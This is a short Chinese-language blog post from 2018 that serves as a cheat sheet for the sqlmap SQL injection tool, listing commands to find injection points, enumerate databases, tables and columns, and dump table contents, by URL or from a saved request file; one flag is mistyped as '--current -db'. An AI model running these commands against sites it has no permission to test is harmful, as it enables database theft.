SQL注入工具sqlmap的使用

  • sqlmap使用

    • 测试注入点 sqlmap -u “URL”

    • 爆数据库 sqlmap -u “URL” --dbs

    • 查看当前库 sqlmap -u “URL” --current -db

    • 显示数据表 sqlmap -u “URL” -D 数据库 --tables

    • 显示字段 sqlmap -u “URL” -D 数据库 -T 表 --columns

    • 脱库 sqlmap -u “URL” -D 数据库 -T 表 -C “字段名1”,“字段名2” --dump

    • 查看帮助 man sqlmap

  • 查看注入点 sqlmap -r 1.txt

  • 爆数据库 sqlmap -r 1.txt --dbs （注意在注入点后面加*）

  • 查看当前库 sqlmap -r 1.txt --current -db

  • 显示数据表 sqlmap -r 1.txt -D 数据库 --tables

  • 显示字段 sqlmap -r 1.txt -D 数据库 -T 表 --columns

  • 查看某字段数据 sqlmap -r 1.txt -D 数据库 -T 表 -C “字段名，字段名” --dump

posted @ 2018-09-15 12:08  浅笑996  阅读(114)  评论(0)  编辑  收藏  举报